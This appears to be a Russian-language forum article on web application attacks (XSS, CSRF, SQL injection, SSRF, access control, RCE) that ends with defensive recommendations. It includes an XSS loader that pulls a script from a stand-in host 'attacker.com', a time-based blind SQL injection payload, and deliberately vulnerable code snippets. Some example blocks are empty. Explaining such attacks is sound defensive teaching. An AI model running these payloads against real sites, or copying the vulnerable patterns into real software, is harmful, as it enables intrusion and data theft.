Даже самые передовые ИБ-решения не защитят бизнес, если базовая гигиена безопасности нарушена на уровне кода. Современные атаки на веб-приложения всё чаще используют удачные комбинации старых и новых техник: XSS давно не ограничивается захватом сессии, а CSRF способен работать даже сквозь «умные» фильтры. Разберём нетривиальные варианты эксплуатации на сложных примерах и обсудим механизмы противодействия.
Но перед тем, как переходить к конкретным примерам эксплойтов и методам поиска уязвимостей, будет полезно освежитьзнанияоб основах архитектуры веб-технологий. Без этого сложно будет понять, почему уязвимости возникают и как их использовать или предотвращать на практике.
XSS
Злоумышленник получает возможность внедрить произвольный JavaScript-код на сайт - например, в поля обратной связи, профиля или комментирования. Браузер не отличает встроенный скрипт от «своего», предоставляя атакующему полный контроль: cookie, localStorage, DOM, инициирование любых действий от лица пользователя. Так XSS становится инструментом для фишинга, кражи токенов, обхода CSRF-защиты, постоянного присутствия в клиентском контуре.
JavaScript
:
Код:
// Распространённый паттерн эксплуатации через подключение внешнего контроллера
(
function
(
)
{
var
s
=
document
.
createElement
(
'script'
)
;
s
.
src
=
'//attacker.com/hook.js'
;
document
.
body
.
appendChild
(
s
)
;
}
)
(
)
;
Во фронтенд-фреймворках XSS чаще проявляется в опасных местах обработки пользовательских шаблонов, особенно при использовании динамического вывода:
JavaScript
:
Код:
container
.
innerHTML
=
userControlledContent
;
// уязвимое место
Ведущий payload - не только , но и сложный SVG, iframe, event-handler или объект JSONP, - может инициировать отправку данных сессии на сервер атакующего, даже если сервер старается фильтровать очевидные конструкции. Например:
XML:
CSP (Content Security Policy), ограничивающая выполнение скриптов, помогает, но забытые разрешения для сторонних CDN, JSONP или SRI-ошибки позволяют обойти даже строгие политики.
CSRF
CSRF эксплуатирует особенность браузера: cookie и сессионные данные автоматически прикладываются к каждому запросу, вне зависимости от инициатора. Атакующий отдаёт жертве скрытую форму или отправляет запрос через подставной сайт, операция на целевом сайте выполняется с учётными данными пользователя.
XML:
Код:
document.forms[0].submit()
В современном приложении SameSite-карточки для cookie и токены CSRF действительно затрудняют такую атаку, однако в сложных кейсах (например, токены вне cookie, Origin/Referer не проверяются, CORS реализован с ошибками) CSRF возможен через другие каналы - REST API, GraphQL, заголовки авторизации. В паре с XSS возможно автоматизированное извлечение токенов защиты и подписание вредоносных запросов изнутри системы.
SQL-инъекции
SQL-инъекция возникает, если приложение напрямую подставляет пользовательский ввод в запрос к БД. Грамотно построенный эксплойт позволяет читать, изменять или удалять данные, выполнять сложные подзапросы, а нередко и захватывать контроль над самим приложением.
Python:
Код:
# Вариант уязвимого поиска по email
user
=
User
.
query
.
filter
(
f"email = '{email}'"
)
.
first
(
)
Слепая инъекция (Blind SQLi) позволяет получить нужные данные по побочным признакам, например, по времени задержки ответа от базы:
SQL:
Код:
' OR (SELECT CASE WHEN (SUBSTRING(password,1,1)='
a'
)
THEN
SLEEP
(
5
)
ELSE
0
END
)
--
Payload'ы маскируются с помощью юникода, комментариев, альтернативных синтаксисов и чередования команд - всё для обхода фильтров и WAF. Классические конструкции, такие как закрытие кавычки, - лишь начало арсенала; современные атаки прокладывают цепочки через лог-файлы, вспомогательные API или комбинируются с XSS/SSRF.
SSRF, Broken Access Control, RCE
SSRF даёт возможность вынуждать сервер выполнять запросы к адресам, определяемым атакующим. Это актуально для интеграций, файловых загрузчиков, систем конвертации и интеграций - особенно при обращении к внутренним адресам (AWS Metadata API, сервисы внутренней инфраструктуры).
Python:
Код:
def
get_content
(
url
)
:
return
requests
.
get
(
url
)
.
text
# отсутствие whitelisting
Broken Access Control позволяет злоумышленнику получить чужие данные, изменить параметры в API-запросах или манипулировать структурой данных вне зоны ответственности клиента. Любое отсутствие серверной валидации ID или границ доступа - потенциальный канал для вывода информации за пределы прав пользователя.
RCE встречается, если приложение передаёт пользовательский ввод в eval, exec, shell-команды или плохо спроектированные обёртки над сторонними сервисами. Это гарантированная точка компрометации с полным контролем над внутренним окружением.
Рекомендации- Любые пользовательские данные проходят строгую фильтрацию, валидацию и экранируются по месту использования.
- CSP формируется от запрета ко всему - разрешения только точечные; отключены inline-скрипты, unsafe-eval.
- Применяются строгие заголовки безопасности: HSTS, X-Frame-Options, X-Content-Type-Options, Referrer-Policy.
- Работа с embed-контентом ограничена, лишние интеграции исключены, все формы и критические точки API защищены CSRF-токенами и механикой принципа наименьших привилегий.
- Вся работа с базой данных ведётся только через параметризованные запросы, логика авторизации реализуется только сервером.
- Все попытки эксплуатации и аномалии фиксируются средствами аудита и логирования.
Для практиков создан отдельный гайд по стартовым утилитам: «Пентест веб‑приложений: 6 лучших инструментов для старта». Выбор инструментов, сценарии сканирования и проверок - вся база для начинающего аудитора.
Заключение
Современный подход к безопасности - постоянное внимание к деталям и непрекращающиеся контроль на всех этапах жизненного цикла кода. Системное мышление и культура инженерии безопасности куда критичнее любых формальных «чекбоксов» и случайных рекомендаций. Именно так защищаются приложения там, где атаки идут не из учебника, а из реальных угроз.
Древовидный вид